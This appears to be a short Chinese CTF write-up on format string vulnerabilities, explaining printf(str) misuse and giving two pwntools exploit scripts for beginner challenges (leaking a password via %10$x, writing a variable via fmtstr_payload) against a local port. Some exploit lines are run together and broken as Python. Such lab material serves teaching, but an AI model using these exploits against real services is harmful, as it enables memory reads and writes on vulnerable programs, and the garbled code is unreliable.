原理:因为没有正确使用printf()函数
正确使用 : printf('%s',str)
不正规使用:printf(str)
控制字符串str可以爆出stack内内容从而实现任意地址读或者任意地址写
---------------------------入门题01--------------------------------------
18行存在格式化字符串漏洞
只需输入在hello之后输入password所在地址,接收password值再传入进行比较即可
exp:
from pwn import * r = remote("127.0.0.1",4000) from pwn import *
r = remote("127.0.0.1",4000)
pass_addr = 0x804A048
r.recvuntil('?')
r.sendline(p32(pass_addr)+'#' +'%10$x'+'#' )
r.recvuntil('#')
key = str(u32(r.recvuntil('#')[:4]))
r.recvuntil(':')
r.sendline(key)
r.interactive()
---------------------------入门题02--------------------------------------
使用pwntools提供的fmtstr_payload(offset, {addr: value })函数实现地址写入
首先输入一个字符串与n个%x找到字符串被爆出的位置
再使用fmtstr_payload写入x变量即可
exp:
from pwn import * r=remote('127.0.0.1',4000) x_addr = 0x804A02C r.sendline(fmtstr_payload(7, {x_addr:0x14368792 })) r.interactive()